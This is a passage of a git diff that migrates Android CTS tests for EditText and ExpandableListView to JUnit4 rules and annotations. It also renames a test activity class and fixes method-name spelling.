-        EditText editText = new EditText(mContext, mAttributeSet);
-
         String string = "android";
-        editText.setText(string, BufferType.EDITABLE);
-        editText.selectAll();
-        assertEquals(0, editText.getSelectionStart());
-        assertEquals(string.length(), editText.getSelectionEnd());
+        mEditText1.setText(string, BufferType.EDITABLE);
+        mEditText1.selectAll();
+        assertEquals(0, mEditText1.getSelectionStart());
+        assertEquals(string.length(), mEditText1.getSelectionEnd());
 
-        editText.setText("", BufferType.EDITABLE);
-        editText.selectAll();
-        assertEquals(0, editText.getSelectionStart());
-        assertEquals(0, editText.getSelectionEnd());
+        mEditText1.setText("", BufferType.EDITABLE);
+        mEditText1.selectAll();
+        assertEquals(0, mEditText1.getSelectionStart());
+        assertEquals(0, mEditText1.getSelectionEnd());
 
-        editText.setText(null, BufferType.EDITABLE);
-        editText.selectAll();
-        assertEquals(0, editText.getSelectionStart());
-        assertEquals(0, editText.getSelectionEnd());
+        mEditText1.setText(null, BufferType.EDITABLE);
+        mEditText1.selectAll();
+        assertEquals(0, mEditText1.getSelectionStart());
+        assertEquals(0, mEditText1.getSelectionEnd());
     }
 
+    @UiThreadTest
+    @Test
     public void testExtendSelection() {
-        EditText editText = new EditText(mContext, mAttributeSet);
-
-        editText.setText("android", BufferType.EDITABLE);
+        mEditText1.setText("android", BufferType.EDITABLE);
         int start = 0;
         int end = 0;
-        editText.setSelection(start, end);
-        assertEquals(start, editText.getSelectionStart());
-        assertEquals(end, editText.getSelectionEnd());
+        mEditText1.setSelection(start, end);
+        assertEquals(start, mEditText1.getSelectionStart());
+        assertEquals(end, mEditText1.getSelectionEnd());
 
         end = 6;
-        editText.extendSelection(end);
-        assertEquals(start, editText.getSelectionStart());
-        assertEquals(end, editText.getSelectionEnd());
+        mEditText1.extendSelection(end);
+        assertEquals(start, mEditText1.getSelectionStart());
+        assertEquals(end, mEditText1.getSelectionEnd());
 
         start = 0;
         end = 0;
-        editText.setSelection(start);
-        editText.extendSelection(end);
-        assertEquals(start, editText.getSelectionStart());
-        assertEquals(end, editText.getSelectionEnd());
-
-        try {
-            editText.setSelection(0, 4);
-            editText.extendSelection(10);
-            fail("An IndexOutOfBoundsException should be thrown out.");
-        } catch (IndexOutOfBoundsException e) {
-            //expected, test success.
-        }
+        mEditText1.setSelection(start);
+        mEditText1.extendSelection(end);
+        assertEquals(start, mEditText1.getSelectionStart());
+        assertEquals(end, mEditText1.getSelectionEnd());
     }
 
+    @UiThreadTest
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testExtendSelectionBeyondLast() {
+        mEditText1.setText("android", BufferType.EDITABLE);
+        mEditText1.setSelection(0, 4);
+        mEditText1.extendSelection(10);
+    }
+
+    @Test
     public void testGetDefaultEditable() {
-        MockEditText mockEditText = new MockEditText(mContext, mAttributeSet);
+        MockEditText mockEditText = new MockEditText(mActivity, mAttributeSet);
 
         assertTrue(mockEditText.getDefaultEditable());
     }
 
+    @Test
+    public void testAutoSizeNotSupported() {
+        DisplayMetrics metrics = mActivity.getResources().getDisplayMetrics();
+        EditText autoSizeEditText = (EditText) mActivity.findViewById(R.id.edittext_autosize);
+
+        // If auto-size would work then the text size would be less then 50dp (the value set in the
+        // layout file).
+        final int sizeSetInPixels = (int) (0.5f + TypedValue.applyDimension(
+                TypedValue.COMPLEX_UNIT_DIP, 50f, metrics));
+        assertEquals(sizeSetInPixels, (int) autoSizeEditText.getTextSize());
+    }
+
+    @Test
     public void testGetDefaultMovementMethod() {
-        MockEditText mockEditText = new MockEditText(mContext, mAttributeSet);
+        MockEditText mockEditText = new MockEditText(mActivity, mAttributeSet);
         MovementMethod method1 = mockEditText.getDefaultMovementMethod();
         MovementMethod method2 = mockEditText.getDefaultMovementMethod();
 
@@ -224,91 +250,87 @@
         assertSame(method1, method2);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetEllipsize() {
-        EditText editText = new EditText(mContext);
-        assertNull(editText.getEllipsize());
+        assertNull(mEditText1.getEllipsize());
 
-        editText.setEllipsize(TextUtils.TruncateAt.START);
-        assertSame(TextUtils.TruncateAt.START, editText.getEllipsize());
-
-        try {
-            editText.setEllipsize(TextUtils.TruncateAt.MARQUEE);
-            fail("Should throw IllegalArgumentException.");
-        } catch (IllegalArgumentException e) {
-            // expected, test success.
-        }
+        mEditText1.setEllipsize(TextUtils.TruncateAt.START);
+        assertSame(TextUtils.TruncateAt.START, mEditText1.getEllipsize());
     }
 
-    @SmallTest
+    @UiThreadTest
+    @Test(expected=IllegalArgumentException.class)
+    public void testSetEllipsizeMarquee() {
+        mEditText1.setEllipsize(TextUtils.TruncateAt.MARQUEE);
+    }
+
+    @UiThreadTest
+    @Test
     public void testOnSaveInstanceState_savesTextStateWhenFreezesTextIsTrue() {
-        // prepare TextView for before saveInstanceState
+        // prepare EditText for before saveInstanceState
         final String testStr = "This is a test str";
-        EditText editText1 = new EditText(mContext);
-        editText1.setFreezesText(true);
-        editText1.setText(testStr);
+        mEditText1.setFreezesText(true);
+        mEditText1.setText(testStr);
 
-        // prepare TextView for after saveInstanceState
-        EditText editText2 = new EditText(mContext);
-        editText2.setFreezesText(true);
+        // prepare EditText for after saveInstanceState
+        mEditText2.setFreezesText(true);
 
-        editText2.onRestoreInstanceState(editText1.onSaveInstanceState());
+        mEditText2.onRestoreInstanceState(mEditText1.onSaveInstanceState());
 
-        assertEquals(editText1.getText().toString(), editText2.getText().toString());
+        assertTrue(TextUtils.equals(mEditText1.getText(), mEditText2.getText()));
     }
 
-    @SmallTest
+    @UiThreadTest
+    @Test
     public void testOnSaveInstanceState_savesTextStateWhenFreezesTextIfFalse() {
-        // prepare TextView for before saveInstanceState
+        // prepare EditText for before saveInstanceState
         final String testStr = "This is a test str";
-        EditText editText1 = new EditText(mContext);
-        editText1.setFreezesText(false);
-        editText1.setText(testStr);
+        mEditText1.setFreezesText(false);
+        mEditText1.setText(testStr);
 
-        // prepare TextView for after saveInstanceState
-        EditText editText2 = new EditText(mContext);
-        editText2.setFreezesText(false);
+        // prepare EditText for after saveInstanceState
+        mEditText2.setFreezesText(false);
 
-        editText2.onRestoreInstanceState(editText1.onSaveInstanceState());
+        mEditText2.onRestoreInstanceState(mEditText1.onSaveInstanceState());
 
-        assertEquals(editText1.getText().toString(), editText2.getText().toString());
+        assertTrue(TextUtils.equals(mEditText1.getText(), mEditText2.getText()));
     }
 
-    @SmallTest
+    @UiThreadTest
+    @Test
     public void testOnSaveInstanceState_savesSelectionStateWhenFreezesTextIsFalse() {
-        // prepare TextView for before saveInstanceState
+        // prepare EditText for before saveInstanceState
         final String testStr = "This is a test str";
-        EditText editText1 = new EditText(mContext);
-        editText1.setFreezesText(false);
-        editText1.setText(testStr);
-        editText1.setSelection(2, testStr.length() - 2);
+        mEditText1.setFreezesText(false);
+        mEditText1.setText(testStr);
+        mEditText1.setSelection(2, testStr.length() - 2);
 
-        // prepare TextView for after saveInstanceState
-        EditText editText2 = new EditText(mContext);
-        editText2.setFreezesText(false);
+        // prepare EditText for after saveInstanceState
+        mEditText2.setFreezesText(false);
 
-        editText2.onRestoreInstanceState(editText1.onSaveInstanceState());
+        mEditText2.onRestoreInstanceState(mEditText1.onSaveInstanceState());
 
-        assertEquals(editText1.getSelectionStart(), editText2.getSelectionStart());
-        assertEquals(editText1.getSelectionEnd(), editText2.getSelectionEnd());
+        assertEquals(mEditText1.getSelectionStart(), mEditText2.getSelectionStart());
+        assertEquals(mEditText1.getSelectionEnd(), mEditText2.getSelectionEnd());
     }
 
-    @SmallTest
+    @UiThreadTest
+    @Test
     public void testOnSaveInstanceState_savesSelectionStateWhenFreezesTextIsTrue() {
-        // prepare TextView for before saveInstanceState
+        // prepare EditText for before saveInstanceState
         final String testStr = "This is a test str";
-        EditText editText1 = new EditText(mContext);
-        editText1.setFreezesText(true);
-        editText1.setText(testStr);
-        editText1.setSelection(2, testStr.length() - 2);
+        mEditText1.setFreezesText(true);
+        mEditText1.setText(testStr);
+        mEditText1.setSelection(2, testStr.length() - 2);
 
-        // prepare TextView for after saveInstanceState
-        EditText editText2 = new EditText(mContext);
-        editText2.setFreezesText(true);
+        // prepare EditText for after saveInstanceState
+        mEditText2.setFreezesText(true);
 
-        editText2.onRestoreInstanceState(editText1.onSaveInstanceState());
+        mEditText2.onRestoreInstanceState(mEditText1.onSaveInstanceState());
 
-        assertEquals(editText1.getSelectionStart(), editText2.getSelectionStart());
-        assertEquals(editText1.getSelectionEnd(), editText2.getSelectionEnd());
+        assertEquals(mEditText1.getSelectionStart(), mEditText2.getSelectionStart());
+        assertEquals(mEditText1.getSelectionEnd(), mEditText2.getSelectionEnd());
     }
 
     private class MockEditText extends EditText {
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableList.java b/tests/tests/widget/src/android/widget/cts/ExpandableList.java
new file mode 100644
index 0000000..48fa5e9
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableList.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.widget.ExpandableListAdapter;
+
+public class ExpandableList extends ExpandableListBasic {
+    @Override
+    protected ExpandableListAdapter createAdapter() {
+        return null;
+    }
+
+    @Override
+    protected boolean shouldRegisterItemClickListener() {
+        return false;
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListBasic.java b/tests/tests/widget/src/android/widget/cts/ExpandableListBasic.java
new file mode 100644
index 0000000..b314e15
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListBasic.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.view.Menu;
+import android.view.MenuItem;
+import android.widget.BaseExpandableListAdapter;
+import android.widget.cts.util.ExpandableListScenario;
+
+public class ExpandableListBasic extends ExpandableListScenario {
+    private static final int[] CHILD_COUNT = {4, 3, 2, 1, 0};
+
+    @Override
+    protected void init(ExpandableParams params) {
+        params.setNumChildren(CHILD_COUNT).setItemScreenSizeFactor(0.14);
+    }
+
+    @Override
+    public boolean onCreateOptionsMenu(Menu menu) {
+        menu.add("Add item").setOnMenuItemClickListener((MenuItem item) -> {
+                mGroups.add(0, new MyGroup(2));
+                if (mAdapter != null) {
+                    ((BaseExpandableListAdapter) mAdapter).notifyDataSetChanged();
+                }
+                return true;
+        });
+
+        return true;
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListSimple.java b/tests/tests/widget/src/android/widget/cts/ExpandableListSimple.java
deleted file mode 100644
index f2e87ee7..0000000
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListSimple.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.widget.cts;
-
-import android.view.Menu;
-import android.view.MenuItem;
-import android.view.MenuItem.OnMenuItemClickListener;
-import android.widget.BaseExpandableListAdapter;
-import android.widget.cts.util.ExpandableListScenario;
-
-public class ExpandableListSimple extends ExpandableListScenario {
-    private static final int[] NUM_CHILDREN = {4, 3, 2, 1, 0};
-
-    @Override
-    protected void init(ExpandableParams params) {
-        params.setNumChildren(NUM_CHILDREN).setItemScreenSizeFactor(0.14);
-    }
-
-    @Override
-    public boolean onCreateOptionsMenu(Menu menu) {
-        menu.add("Add item").setOnMenuItemClickListener(new OnMenuItemClickListener() {
-            public boolean onMenuItemClick(MenuItem item) {
-                mGroups.add(0, new MyGroup(2));
-                ((BaseExpandableListAdapter) mAdapter).notifyDataSetChanged();
-                return true;
-            }
-        });
-
-        return true;
-    }
-}
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java b/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java
index 8175807..296f03f 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListTester.java
@@ -17,36 +17,28 @@
 package android.widget.cts;
 
 import android.app.Instrumentation;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
 import android.view.KeyEvent;
 import android.view.View;
 import android.widget.ExpandableListAdapter;
 import android.widget.ExpandableListView;
-import android.widget.cts.util.ExpandableListScenario;
 import android.widget.cts.util.ListUtil;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+
 import junit.framework.Assert;
 
 public class ExpandableListTester {
     private final ExpandableListView mExpandableListView;
     private final ExpandableListAdapter mAdapter;
     private final ListUtil mListUtil;
+    private final Instrumentation mInstrumentation;
 
-    private final ActivityInstrumentationTestCase2<? extends ExpandableListScenario>
-        mActivityInstrumentation;
-
-    Instrumentation mInstrumentation;
-
-    public ExpandableListTester(
-            ExpandableListView expandableListView,
-            ActivityInstrumentationTestCase2<? extends ExpandableListScenario>
-            activityInstrumentation) {
+    public ExpandableListTester(ExpandableListView expandableListView) {
         mExpandableListView = expandableListView;
-        Instrumentation instrumentation = activityInstrumentation.getInstrumentation();
-        mListUtil = new ListUtil(mExpandableListView, instrumentation);
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mListUtil = new ListUtil(mExpandableListView, mInstrumentation);
         mAdapter = mExpandableListView.getExpandableListAdapter();
-        mActivityInstrumentation = activityInstrumentation;
-        mInstrumentation = mActivityInstrumentation.getInstrumentation();
     }
 
     private void expandGroup(final int groupIndex, int flatPosition) {
@@ -54,9 +46,10 @@
                 .isGroupExpanded(groupIndex));
         mListUtil.arrowScrollToSelectedPosition(flatPosition);
         mInstrumentation.waitForIdleSync();
-        mActivityInstrumentation.sendKeys(KeyEvent.KEYCODE_DPAD_CENTER);
-        mActivityInstrumentation.getInstrumentation().waitForIdleSync();
-        Assert.assertTrue("Group did not expand " + groupIndex, 
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mExpandableListView,
+                KeyEvent.KEYCODE_DPAD_CENTER);
+        mInstrumentation.waitForIdleSync();
+        Assert.assertTrue("Group did not expand " + groupIndex,
                 mExpandableListView.isGroupExpanded(groupIndex));
     }
 
@@ -139,7 +132,7 @@
     }
 
     // This method assumes that NO group is expanded when called
-    void testConvertionBetweenFlatAndPackedOnGroups() {
+    void testConversionBetweenFlatAndPackedOnGroups() {
         final int headerCount = mExpandableListView.getHeaderViewsCount();
 
         for (int i=0; i<headerCount; i++) {
@@ -170,7 +163,7 @@
     }
 
     // This method assumes that NO group is expanded when called
-    void testConvertionBetweenFlatAndPackedOnChildren() {
+    void testConversionBetweenFlatAndPackedOnChildren() {
         // Test with an expanded group
         final int headerCount = mExpandableListView.getHeaderViewsCount();
         final int groupIndex = expandAGroup();
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java
index dd8d6a2..1f4270c 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListViewBasicTest.java
@@ -16,48 +16,57 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
-import android.cts.util.PollingCheck;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.app.Instrumentation;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.widget.BaseExpandableListAdapter;
 import android.widget.ExpandableListAdapter;
 import android.widget.ExpandableListView;
 import android.widget.cts.util.ExpandableListScenario;
-import android.widget.cts.util.ListUtil;
 import android.widget.cts.util.ExpandableListScenario.MyGroup;
+import android.widget.cts.util.ListUtil;
+
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.List;
 
-public class ExpandableListViewBasicTest extends
-        ActivityInstrumentationTestCase2<ExpandableListSimple> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ExpandableListViewBasicTest {
+    private Instrumentation mInstrumentation;
     private ExpandableListScenario mActivity;
     private ExpandableListView mExpandableListView;
     private ExpandableListAdapter mAdapter;
     private ListUtil mListUtil;
 
-    public ExpandableListViewBasicTest() {
-        super(ExpandableListSimple.class);
-    }
+    @Rule
+    public ActivityTestRule<ExpandableListBasic> mActivityRule =
+            new ActivityTestRule<>(ExpandableListBasic.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mActivity = getActivity();
-        new PollingCheck() {
-            @Override
-                protected boolean check() {
-                return mActivity.hasWindowFocus();
-            }
-        }.run();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
         mExpandableListView = mActivity.getExpandableListView();
         mAdapter = mExpandableListView.getExpandableListAdapter();
-        mListUtil = new ListUtil(mExpandableListView, getInstrumentation());
+        mListUtil = new ListUtil(mExpandableListView, mInstrumentation);
     }
 
-    @MediumTest
+    @Test
     public void testPreconditions() {
         assertNotNull(mActivity);
         assertNotNull(mExpandableListView);
@@ -69,40 +78,43 @@
         assertTrue("Could not find group to expand", groupPos >= 0);
         assertFalse("Group is already expanded", mExpandableListView.isGroupExpanded(groupPos));
         mListUtil.arrowScrollToSelectedPosition(groupPos);
-        getInstrumentation().waitForIdleSync();
-        sendKeys(KeyEvent.KEYCODE_DPAD_CENTER);
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mExpandableListView,
+                KeyEvent.KEYCODE_DPAD_CENTER);
+        mInstrumentation.waitForIdleSync();
         assertTrue("Group did not expand", mExpandableListView.isGroupExpanded(groupPos));
 
         return groupPos;
     }
 
-    @MediumTest
+    @Test
     public void testExpandGroup() {
         expandGroup(-1, true);
     }
 
-    @MediumTest
+    @Test
     public void testCollapseGroup() {
         final int groupPos = expandGroup(-1, true);
 
-        sendKeys(KeyEvent.KEYCODE_DPAD_CENTER);
-        getInstrumentation().waitForIdleSync();
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mExpandableListView,
+                KeyEvent.KEYCODE_DPAD_CENTER);
+        mInstrumentation.waitForIdleSync();
         assertFalse("Group did not collapse", mExpandableListView.isGroupExpanded(groupPos));
     }
 
-    @MediumTest
-    public void testExpandedGroupMovement() {
+    @Test
+    public void testExpandedGroupMovement() throws Throwable {
         // Expand the first group
         mListUtil.arrowScrollToSelectedPosition(0);
-        sendKeys(KeyEvent.KEYCODE_DPAD_CENTER);
-        getInstrumentation().waitForIdleSync();
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mExpandableListView,
+                KeyEvent.KEYCODE_DPAD_CENTER);
+        mInstrumentation.waitForIdleSync();
 
         // Ensure it expanded
         assertTrue("Group did not expand", mExpandableListView.isGroupExpanded(0));
 
         // Wait until that's all good
-        getInstrumentation().waitForIdleSync();
+        mInstrumentation.waitForIdleSync();
 
         // Make sure it expanded
         assertTrue("Group did not expand", mExpandableListView.isGroupExpanded(0));
@@ -117,12 +129,8 @@
                 mAdapter instanceof BaseExpandableListAdapter);
         final BaseExpandableListAdapter adapter = (BaseExpandableListAdapter) mAdapter;
 
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                adapter.notifyDataSetChanged();
-            }
-        });
-        getInstrumentation().waitForIdleSync();
+        mActivityRule.runOnUiThread(adapter::notifyDataSetChanged);
+        mInstrumentation.waitForIdleSync();
 
         // Make sure the right group is expanded
         assertTrue("The expanded state didn't stay with the proper group",
@@ -131,22 +139,22 @@
                 mExpandableListView.isGroupExpanded(0));
     }
 
-    @MediumTest
+    @Test
     public void testContextMenus() {
-        ExpandableListTester tester = new ExpandableListTester(mExpandableListView, this);
+        ExpandableListTester tester = new ExpandableListTester(mExpandableListView);
         tester.testContextMenus();
     }
 
-    @MediumTest
+    @Test
     public void testConvertionBetweenFlatAndPacked() {
-        ExpandableListTester tester = new ExpandableListTester(mExpandableListView, this);
-        tester.testConvertionBetweenFlatAndPackedOnGroups();
-        tester.testConvertionBetweenFlatAndPackedOnChildren();
+        ExpandableListTester tester = new ExpandableListTester(mExpandableListView);
+        tester.testConversionBetweenFlatAndPackedOnGroups();
+        tester.testConversionBetweenFlatAndPackedOnChildren();
     }
 
-    @MediumTest
+    @Test
     public void testSelectedPosition() {
-        ExpandableListTester tester = new ExpandableListTester(mExpandableListView, this);
+        ExpandableListTester tester = new ExpandableListTester(mExpandableListView);
         tester.testSelectedPositionOnGroups();
         tester.testSelectedPositionOnChildren();
     }
diff --git a/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java b/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java
index e773ebf..1482cae 100644
--- a/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ExpandableListViewTest.java
@@ -16,290 +16,417 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyZeroInteractions;
 
-
-import org.xmlpull.v1.XmlPullParser;
-
+import android.app.Instrumentation;
 import android.content.Context;
 import android.database.DataSetObserver;
 import android.graphics.Canvas;
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.Parcelable;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
+import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewGroup;
-import android.widget.AdapterView;
 import android.widget.ExpandableListAdapter;
 import android.widget.ExpandableListView;
 import android.widget.ListAdapter;
-import android.widget.AdapterView.OnItemClickListener;
-import android.widget.ExpandableListView.OnChildClickListener;
-import android.widget.ExpandableListView.OnGroupClickListener;
+import android.widget.TextView;
+import android.widget.cts.util.ExpandableListScenario;
 
-public class ExpandableListViewTest extends AndroidTestCase {
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ExpandableListViewTest {
+    private Instrumentation mInstrumentation;
+    private ExpandableListScenario mActivity;
+    private ExpandableListView mExpandableListView;
+
+    @Rule
+    public ActivityTestRule<ExpandableList> mActivityRule =
+            new ActivityTestRule<>(ExpandableList.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        PollingCheck.waitFor(mActivity::hasWindowFocus);
+        mExpandableListView = mActivity.getExpandableListView();
+    }
+
+    @Test
     public void testConstructor() {
-        new ExpandableListView(mContext);
+        new ExpandableListView(mActivity);
 
-        new ExpandableListView(mContext, null);
+        new ExpandableListView(mActivity, null);
 
-        new ExpandableListView(mContext, null, 0);
+        new ExpandableListView(mActivity, null, android.R.attr.expandableListViewStyle);
+
+        new ExpandableListView(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_ExpandableListView);
+
+        new ExpandableListView(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_ExpandableListView);
+
+        new ExpandableListView(mActivity, null, 0,
+                android.R.style.Widget_Material_ExpandableListView);
+
+        new ExpandableListView(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_ExpandableListView);
 
         XmlPullParser parser =
-            getContext().getResources().getXml(R.layout.expandablelistview_layout);
+                mActivity.getResources().getXml(R.layout.expandablelistview_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
-        new ExpandableListView(mContext, attrs);
-        new ExpandableListView(mContext, attrs, 0);
-
-        try {
-            new ExpandableListView(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            new ExpandableListView(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            new ExpandableListView(null, null, 0);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
+        new ExpandableListView(mActivity, attrs);
+        new ExpandableListView(mActivity, attrs, 0);
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext1() {
+        new ExpandableListView(null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext2() {
+        new ExpandableListView(null, null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorWithNullContext3() {
+        new ExpandableListView(null, null, 0);
+    }
+
+    @Test
     public void testSetChildDivider() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        Drawable drawable = mContext.getResources().getDrawable(R.drawable.scenery);
-        expandableListView.setChildDivider(drawable);
+        Drawable drawable = mActivity.getResources().getDrawable(R.drawable.scenery);
+        mExpandableListView.setChildDivider(drawable);
     }
 
-    public void testSetAdapter() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        try {
-            expandableListView.setAdapter((ListAdapter) null);
-            fail("setAdapter(ListAdapter) should throw RuntimeException here.");
-        } catch (RuntimeException e) {
-        }
+    @Test(expected=RuntimeException.class)
+    public void testSetAdapterOfWrongType() {
+        mExpandableListView.setAdapter((ListAdapter) null);
     }
 
+    @UiThreadTest
+    @Test
     public void testGetAdapter() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        assertNull(expandableListView.getAdapter());
+        assertNull(mExpandableListView.getAdapter());
 
         ExpandableListAdapter expandableAdapter = new MockExpandableListAdapter();
-        expandableListView.setAdapter(expandableAdapter);
-        assertNotNull(expandableListView.getAdapter());
+        mExpandableListView.setAdapter(expandableAdapter);
+        assertNotNull(mExpandableListView.getAdapter());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessExpandableListAdapter() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
         ExpandableListAdapter expandableAdapter = new MockExpandableListAdapter();
 
-        assertNull(expandableListView.getExpandableListAdapter());
-        expandableListView.setAdapter(expandableAdapter);
-        assertSame(expandableAdapter, expandableListView.getExpandableListAdapter());
+        assertNull(mExpandableListView.getExpandableListAdapter());
+        mExpandableListView.setAdapter(expandableAdapter);
+        assertSame(expandableAdapter, mExpandableListView.getExpandableListAdapter());
     }
 
+    @UiThreadTest
+    @Test
     public void testPerformItemClick() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
+        assertFalse(mExpandableListView.performItemClick(null, 100, 99));
 
-        assertFalse(expandableListView.performItemClick(null, 100, 99));
-
-        MockOnItemClickListener onClickListener = new MockOnItemClickListener();
-        expandableListView.setOnItemClickListener(onClickListener);
-        assertTrue(expandableListView.performItemClick(null, 100, 99));
+        ExpandableListView.OnItemClickListener mockOnItemClickListener =
+                mock(ExpandableListView.OnItemClickListener.class);
+        mExpandableListView.setOnItemClickListener(mockOnItemClickListener);
+        assertTrue(mExpandableListView.performItemClick(null, 100, 99));
+        verify(mockOnItemClickListener, times(1)).onItemClick(eq(mExpandableListView),
+                any(), eq(100), eq(99L));
     }
 
+    @Test
     public void testSetOnItemClickListener() {
-        ExpandableListView expandableListView = new ExpandableListView(mContext);
-        MockOnItemClickListener listener = new MockOnItemClickListener();
+        ExpandableListView.OnItemClickListener mockOnItemClickListener =
+                mock(ExpandableListView.OnItemClickListener.class);
 
-        assertNull(expandableListView.getOnItemClickListener());
-        expandableListView.setOnItemClickListener(listener);
-        assertSame(listener, expandableListView.getOnItemClickListener());
+        assertNull(mExpandableListView.getOnItemClickListener());
+        mExpandableListView.setOnItemClickListener(mockOnItemClickListener);
+        assertSame(mockOnItemClickListener, mExpandableListView.getOnItemClickListener());
     }
 
+    @UiThreadTest
+    @Test
     public void testExpandGroup() {
